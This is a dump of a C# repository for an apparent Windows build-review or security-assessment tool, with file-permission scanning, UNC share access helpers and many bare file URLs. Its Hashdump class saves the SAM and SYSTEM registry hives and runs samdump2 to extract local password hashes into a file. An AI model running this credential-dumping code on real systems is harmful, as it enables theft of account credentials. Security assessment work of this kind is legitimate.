/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.pdb -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/.DS_Store -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/._.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/._.DS_Store -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/._RemoteBuildReview: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/._RemoteBuildReview -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/._RemoteBuildReview.sln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/._RemoteBuildReview.sln -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/._RemoteBuildReview.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/._RemoteBuildReview.suo -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/._Setup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/._Setup -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ServerGUIApp", "RemoteBuildReview\ServerGUIApp.csproj", "{34291F4B-B26D-4268-9765-530B1BC8E2D4}" 5 | EndProject 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClientConsoleApp", "..\ConsoleApplication1\ConsoleApplication1\ClientConsoleApp.csproj", "{564BC2B4-D799-4E1A-9512-50CA50C2853E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Debug|x86.ActiveCfg = Debug|x86 19 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Debug|x86.Build.0 = Debug|x86 20 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Release|x86.ActiveCfg = Release|x86 23 | {34291F4B-B26D-4268-9765-530B1BC8E2D4}.Release|x86.Build.0 = Release|x86 24 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Debug|x86.ActiveCfg = Debug|Any CPU 27 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Release|Any CPU.ActiveCfg = Release|Any CPU 28 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Release|Any CPU.Build.0 = Release|Any CPU 29 | {564BC2B4-D799-4E1A-9512-50CA50C2853E}.Release|x86.ActiveCfg = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | VSStyle = Office2010 (Blue).vssf 36 | VSTargetControls = FormsAndControls 37 | VSToolStripStyle = Mixed 38 | VSTextShadow = True 39 | VSSkinFlatStyles = True 40 | VSSkinToggleButtons = True 41 | VSUseSystemFonts = False 42 | VSCustomBkgrdPaint = True 43 | EndGlobalSection 44 | EndGlobal 45 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview.suo -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview.v11.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview.v11.suo -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._About.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._About.Designer.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._About.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._About.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._About.resx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._About.resx -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._Class1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._Class1.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS.xml -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.Designer.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.resx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._KB2MS_Form.resx -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._Program.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._Program.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._Properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._Properties -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.Designer.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.resx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RBR_Main.resx -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview.csproj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview.csproj -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview.csproj.user: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview.csproj.user -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview_TemporaryKey.pfx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._RemoteBuildReview_TemporaryKey.pfx -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._Resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._Resources -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._Service References: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._Service References -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._UNCAccess.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._UNCAccess.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._app.config: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._app.config -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._bin -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._obj -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/._publish: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/._publish -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Class1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteBuildReview 7 | { 8 | class Class1 9 | { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/FileClass.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.Data; 5 | using System.IO; 6 | using System.Linq; 7 | using System.Security.AccessControl; 8 | using System.Security.Principal; 9 | using System.Text; 10 | 11 | namespace RemoteBuildReview 12 | { 13 | 14 | public class FileClass 15 | { 16 | 17 | 18 | public static ArrayList filesfolders = new ArrayList(); 19 | 20 | public static void TreeScan(string sDir) 21 | { 22 | filesfolders.Add(sDir); 23 | try 24 | { 25 | foreach (string f in Directory.GetFiles(sDir)) 26 | filesfolders.Add(f); 27 | } 28 | catch { return; } 29 | foreach (string d in Directory.GetDirectories(sDir)) 30 | TreeScan(d); 31 | } 32 | 33 | public static void getperms(string folder, string outputfile) 34 | { 35 | DataSet1 testdataset = new DataSet1(); 36 | TreeScan(folder); 37 | 38 | foreach (string item in filesfolders) 39 | { 40 | FileSecurity fileSecurity = new FileSecurity(item, AccessControlSections.Access); 41 | AuthorizationRuleCollection arc = fileSecurity.GetAccessRules(true, true, typeof(NTAccount)); 42 | foreach (FileSystemAccessRule rule in arc) 43 | { 44 | testdataset.Tables["Permissions"].Rows.Add(item, rule.IdentityReference, rule.AccessControlType, rule.FileSystemRights); 45 | } 46 | } 47 | 48 | testdataset.WriteXml(outputfile); 49 | } 50 | 51 | 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/Hashdump.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading; 8 | 9 | namespace RemoteBuildReview 10 | { 11 | public class Hashdump 12 | { 13 | public static void dumpreghash() { 14 | 15 | DataSet1 testdataset = new DataSet1(); 16 | 17 | if (File.Exists(@"c:\windows\temp\sys")) 18 | { 19 | File.Delete(@"c:\windows\temp\sys"); 20 | File.Delete(@"c:\windows\temp\sam"); 21 | } 22 | ProcessStartInfo psi = new ProcessStartInfo(@"C:\Windows\System32\reg.exe", @"save HKLM\SAM c:\windows\temp\sam"); 23 | 24 | psi.RedirectStandardOutput = true; 25 | psi.RedirectStandardError = true; 26 | psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; 27 | psi.UseShellExecute = false; 28 | System.Diagnostics.Process reg; 29 | reg = System.Diagnostics.Process.Start(psi); 30 | 31 | ProcessStartInfo psi2 = new ProcessStartInfo(@"C:\Windows\System32\reg.exe", @"save HKLM\SYSTEM c:\windows\temp\sys"); 32 | 33 | psi2.RedirectStandardOutput = true; 34 | psi2.RedirectStandardError = true; 35 | psi2.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; 36 | psi2.UseShellExecute = false; 37 | System.Diagnostics.Process reg2; 38 | reg2 = System.Diagnostics.Process.Start(psi2); 39 | 40 | int milliseconds = 2000; 41 | Thread.Sleep(milliseconds); 42 | 43 | ProcessStartInfo psi3 = new ProcessStartInfo(@"c:\samdump2.exe", @"c:\windows\temp\sys c:\windows\temp\sam"); 44 | 45 | psi3.RedirectStandardOutput = true; 46 | psi3.RedirectStandardError = true; 47 | psi3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; 48 | psi3.UseShellExecute = false; 49 | System.Diagnostics.Process reg3; 50 | reg3 = System.Diagnostics.Process.Start(psi3); 51 | using (System.IO.StreamReader myOutput = reg3.StandardOutput) 52 | { 53 | testdataset.Tables["Loot"].Rows.Add(myOutput.ReadToEnd(), "host"); 54 | } 55 | testdataset.WriteXml("C:\\Hashes.txt"); 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace RemoteBuildReview 7 | { 8 | static class Program 9 | { 10 | /// 11 | /// The main entry point for the application. 12 | /// 13 | [STAThread] 14 | static void Main() 15 | { 16 | Application.EnableVisualStyles(); 17 | Application.SetCompatibleTextRenderingDefault(false); 18 | //Application.Run(new RBR_Main()); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/Service.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteBuildReview 7 | { 8 | class Service 9 | { 10 | public string ServiceName { get; set; } 11 | public string ImagePath { get; set; } 12 | public string Path { get; set; } 13 | public string Perms { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/UNCAccess.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using BOOL = System.Boolean; 4 | using DWORD = System.UInt32; 5 | using LPWSTR = System.String; 6 | using NET_API_STATUS = System.UInt32; 7 | 8 | namespace CommonFunctions 9 | { 10 | public class UNCAccess 11 | { 12 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 13 | internal struct USE_INFO_2 14 | { 15 | internal LPWSTR ui2_local; 16 | internal LPWSTR ui2_remote; 17 | internal LPWSTR ui2_password; 18 | internal DWORD ui2_status; 19 | internal DWORD ui2_asg_type; 20 | internal DWORD ui2_refcount; 21 | internal DWORD ui2_usecount; 22 | internal LPWSTR ui2_username; 23 | internal LPWSTR ui2_domainname; 24 | } 25 | 26 | [DllImport("NetApi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 27 | internal static extern NET_API_STATUS NetUseAdd( 28 | LPWSTR UncServerName, 29 | DWORD Level, 30 | ref USE_INFO_2 Buf, 31 | out DWORD ParmError); 32 | 33 | [DllImport("NetApi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 34 | internal static extern NET_API_STATUS NetUseDel( 35 | LPWSTR UncServerName, 36 | LPWSTR UseName, 37 | DWORD ForceCond); 38 | 39 | private string sUNCPath; 40 | private string sUser; 41 | private string sPassword; 42 | private string sDomain; 43 | private int iLastError; 44 | public UNCAccess() 45 | { 46 | } 47 | public UNCAccess(string UNCPath, string User, string Domain, string Password) 48 | { 49 | login(UNCPath, User, Domain, Password); 50 | } 51 | public int LastError 52 | { 53 | get { return iLastError; } 54 | } 55 | 56 | /// 57 | /// Connects to a UNC share folder with credentials 58 | /// 59 | /// UNC share path 60 | /// Username 61 | /// Domain 62 | /// Password 63 | /// True if login was successful 64 | public bool login(string UNCPath, string User, string Domain, string Password) 65 | { 66 | sUNCPath = UNCPath; 67 | sUser = User; 68 | sPassword = Password; 69 | sDomain = Domain; 70 | return NetUseWithCredentials(); 71 | } 72 | private bool NetUseWithCredentials() 73 | { 74 | uint returncode; 75 | try 76 | { 77 | USE_INFO_2 useinfo = new USE_INFO_2(); 78 | 79 | useinfo.ui2_remote = sUNCPath; 80 | useinfo.ui2_username = sUser; 81 | useinfo.ui2_domainname = sDomain; 82 | useinfo.ui2_password = sPassword; 83 | useinfo.ui2_asg_type = 0; 84 | useinfo.ui2_usecount = 1; 85 | uint paramErrorIndex; 86 | returncode = NetUseAdd(null, 2, ref useinfo, out paramErrorIndex); 87 | iLastError = (int)returncode; 88 | return returncode == 0; 89 | } 90 | catch 91 | { 92 | iLastError = Marshal.GetLastWin32Error(); 93 | return false; 94 | } 95 | } 96 | 97 | /// 98 | /// Closes the UNC share 99 | /// 100 | /// True if closing was successful 101 | public bool NetUseDelete() 102 | { 103 | uint returncode; 104 | try 105 | { 106 | returncode = NetUseDel(null, sUNCPath, 2); 107 | iLastError = (int)returncode; 108 | return (returncode == 0); 109 | } 110 | catch 111 | { 112 | iLastError = Marshal.GetLastWin32Error(); 113 | return false; 114 | } 115 | } 116 | 117 | } 118 | 119 | 120 | } -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/UNCAccessWithCredentials.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using BOOL = System.Boolean; 4 | using DWORD = System.UInt32; 5 | using LPWSTR = System.String; 6 | using NET_API_STATUS = System.UInt32; 7 | 8 | namespace RemoteBuildReview 9 | { 10 | public class UNCAccessWithCredentials : IDisposable 11 | { 12 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 13 | internal struct USE_INFO_2 14 | { 15 | internal LPWSTR ui2_local; 16 | internal LPWSTR ui2_remote; 17 | internal LPWSTR ui2_password; 18 | internal DWORD ui2_status; 19 | internal DWORD ui2_asg_type; 20 | internal DWORD ui2_refcount; 21 | internal DWORD ui2_usecount; 22 | internal LPWSTR ui2_username; 23 | internal LPWSTR ui2_domainname; 24 | } 25 | 26 | [DllImport("NetApi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 27 | internal static extern NET_API_STATUS NetUseAdd( 28 | LPWSTR UncServerName, 29 | DWORD Level, 30 | ref USE_INFO_2 Buf, 31 | out DWORD ParmError); 32 | 33 | [DllImport("NetApi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 34 | internal static extern NET_API_STATUS NetUseDel( 35 | LPWSTR UncServerName, 36 | LPWSTR UseName, 37 | DWORD ForceCond); 38 | 39 | private bool disposed = false; 40 | 41 | private string sUNCPath; 42 | private string sUser; 43 | private string sPassword; 44 | private string sDomain; 45 | private int iLastError; 46 | 47 | /// 48 | /// A disposeable class that allows access to a UNC resource with credentials. 49 | /// 50 | public UNCAccessWithCredentials() 51 | { 52 | } 53 | 54 | /// 55 | /// The last system error code returned from NetUseAdd or NetUseDel. Success = 0 56 | /// 57 | public int LastError 58 | { 59 | get { return iLastError; } 60 | } 61 | 62 | public void Dispose() 63 | { 64 | if (!this.disposed) 65 | { 66 | NetUseDelete(); 67 | } 68 | disposed = true; 69 | GC.SuppressFinalize(this); 70 | } 71 | 72 | /// 73 | /// Connects to a UNC path using the credentials supplied. 74 | /// 75 | /// Fully qualified domain name UNC path 76 | /// A user with sufficient rights to access the path. 77 | /// Domain of User. 78 | /// Password of User 79 | /// True if mapping succeeds. Use LastError to get the system error code. 80 | public bool NetUseWithCredentials(string UNCPath, string User, string Domain, string Password) 81 | { 82 | sUNCPath = UNCPath; 83 | sUser = User; 84 | sPassword = Password; 85 | sDomain = Domain; 86 | return NetUseWithCredentials(); 87 | } 88 | 89 | private bool NetUseWithCredentials() 90 | { 91 | uint returncode; 92 | try 93 | { 94 | USE_INFO_2 useinfo = new USE_INFO_2(); 95 | 96 | useinfo.ui2_remote = sUNCPath; 97 | useinfo.ui2_username = sUser; 98 | useinfo.ui2_domainname = sDomain; 99 | useinfo.ui2_password = sPassword; 100 | useinfo.ui2_asg_type = 0; 101 | useinfo.ui2_usecount = 1; 102 | uint paramErrorIndex; 103 | returncode = NetUseAdd(null, 2, ref useinfo, out paramErrorIndex); 104 | iLastError = (int)returncode; 105 | return returncode == 0; 106 | } 107 | catch 108 | { 109 | iLastError = Marshal.GetLastWin32Error(); 110 | return false; 111 | } 112 | } 113 | 114 | /// 115 | /// Ends the connection to the remote resource 116 | /// 117 | /// True if it succeeds. Use LastError to get the system error code 118 | public bool NetUseDelete() 119 | { 120 | uint returncode; 121 | try 122 | { 123 | returncode = NetUseDel(null, sUNCPath, 2); 124 | iLastError = (int)returncode; 125 | return (returncode == 0); 126 | } 127 | catch 128 | { 129 | iLastError = Marshal.GetLastWin32Error(); 130 | return false; 131 | } 132 | } 133 | 134 | ~UNCAccessWithCredentials() 135 | { 136 | Dispose(); 137 | } 138 | 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/Vulnerability.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteBuildReview 7 | { 8 | class Vulnerability 9 | { 10 | public string VulnName { get; set; } 11 | public string Severity { get; set; } 12 | public string Host { get; set; } 13 | public string Port { get; set; } 14 | public string Evidence { get; set; } 15 | public string Hostport { get; set; } 16 | public string Solution { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/WMI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteBuildReview.Classes 7 | { 8 | public class WMI 9 | { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Classes/XElementExtensionMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Xml.Linq; 3 | 4 | public static class XElementExtensionMethods 5 | { 6 | public static string ElementValueNull(this XElement element) 7 | { 8 | if (element != null) 9 | return element.Value; 10 | 11 | return ""; 12 | } 13 | 14 | //This method is to handle if attribute is missing 15 | public static string AttributeValueNull(this XElement element, string attributeName) 16 | { 17 | if (element == null) 18 | return ""; 19 | else 20 | { 21 | XAttribute attr = element.Attribute(attributeName); 22 | return attr == null ? "" : attr.Value; 23 | } 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/DataSet1.cs: -------------------------------------------------------------------------------- 1 | namespace RemoteBuildReview 2 | { 3 | } 4 | namespace RemoteBuildReview { 5 | 6 | 7 | public partial class RBRDataSet { 8 | } 9 | } 10 | namespace RemoteBuildReview { 11 | 12 | 13 | public partial class DataSet1 { 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/DataSet1.xsc: -------------------------------------------------------------------------------- 1 |  2 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/DataSet1.xss: -------------------------------------------------------------------------------- 1 |  2 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Files/samdump2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Files/samdump2.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Forms/About.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Reflection; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteBuildReview 10 | { 11 | partial class About : Form 12 | { 13 | public About() 14 | { 15 | InitializeComponent(); 16 | this.Text = String.Format("About {0}", AssemblyTitle); 17 | this.labelProductName.Text = AssemblyProduct; 18 | this.labelVersion.Text = String.Format("Version {0}", AssemblyVersion); 19 | this.labelCopyright.Text = AssemblyCopyright; 20 | this.labelCompanyName.Text = AssemblyCompany; 21 | this.textBoxDescription.Text = AssemblyDescription; 22 | } 23 | 24 | #region Assembly Attribute Accessors 25 | 26 | public string AssemblyTitle 27 | { 28 | get 29 | { 30 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false); 31 | if (attributes.Length > 0) 32 | { 33 | AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0]; 34 | if (titleAttribute.Title != "") 35 | { 36 | return titleAttribute.Title; 37 | } 38 | } 39 | return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase); 40 | } 41 | } 